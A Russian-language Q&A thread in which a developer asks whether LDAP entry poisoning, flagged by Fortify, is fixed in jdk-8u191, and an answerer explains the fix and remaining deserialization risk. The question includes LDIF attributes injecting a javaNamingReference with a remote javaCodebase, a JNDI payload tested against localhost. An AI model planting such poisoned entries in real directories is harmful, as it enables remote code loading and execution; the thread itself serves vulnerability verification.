Отравление записи LDAP Исправлено в jdk-8u191? - PullRequest
0 голосов
/ 20 февраля 2019

Fortify сообщил об уязвимости отравления записи LDAP в одном из моих приложений Spring.Вы можете получить дополнительную информацию об этой уязвимости по следующим ссылкам:

https://www.youtube.com/watch?v=Y8a5nB-vy78&feature=youtu.be&t=2111

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

Я решил попробоватьи доказать для себя, если это все еще была уязвимость.Я сделал это с помощью Spring Tool Suite:

file -> new -> import spring, начало работы с содержимым

искал ldap и импортировал Аутентифицируемый Ldap -> полный кодовый набор

https://spring.io/guides/gs/authenticating-ldap/

Затем я добавил следующие строки во включенный файл test-server.ldif к записи для bob, а также к записи для разработчиков:

javaFactory: PayloadObject
objectClass: javaNamingReference
javaCodebase: http://127.0.0.1:9999/
javaClassName: PayloadObject

Для того, чтобызапустите это, мне нужно было добавить следующую строку в application.properties:

spring.ldap.embedded.validation.enabled=false

Я запустил Wireshark и запустил пример приложения Spring, и, конечно же, когда я вошел в систему с bob, я получил ударв Wireshark на порту 9999.

Когда я попросил коллегу проверить то же самое, он не смог воспроизвести.После некоторых исследований мы обнаружили, что у него был более новый jdk, чем у меня, и после того, как я обновил свой jdk, я тоже не смог воспроизвести проблему.

Мы сузили ее до версии jdk-8u191это внесло «исправление», но я не могу найти ничего, что объясняет, почему или как это было исправлено в заметках о выпуске Java.

Мой вопрос - является ли отравление записи LDAP теперь ложным / положительным, если мы 'работает JDK-8U191 или новее?Или есть какой-либо параметр конфигурации, который можно настроить для переопределения этого «исправления»?

1 Ответ

0 голосов
/ 20 февраля 2019

8u191 закрыл уязвимость загрузки удаленного класса в LDAP, хотя исследования продолжаются.Всякий раз, когда вы превращаете поток байтов в объект в Java, вы хотите подумать о загрузке классов (что адресовано 8u191), а также о небезопасной десериализации.

Когда обращаются к CVE, их обычно нет в выпускеПримечания.

Что касается того, является ли предупреждение от Fortify ложным срабатыванием, я думаю, что более важно оценить риск относительно вашего приложения.

Например, чтобы использовать эту уязвимость, злоумышленнику по крайней мере потребуется прямой доступ к вашему экземпляру LDAP (см. Стр. 31), что, вероятно, указывает на большую проблему безопасности.8u191 и после этого, злоумышленнику дополнительно потребуется найти класс в вашем пути к классам, который уязвим для небезопасной десериализации, чтобы воспроизвести то, что демонстрирует беседа BH.

...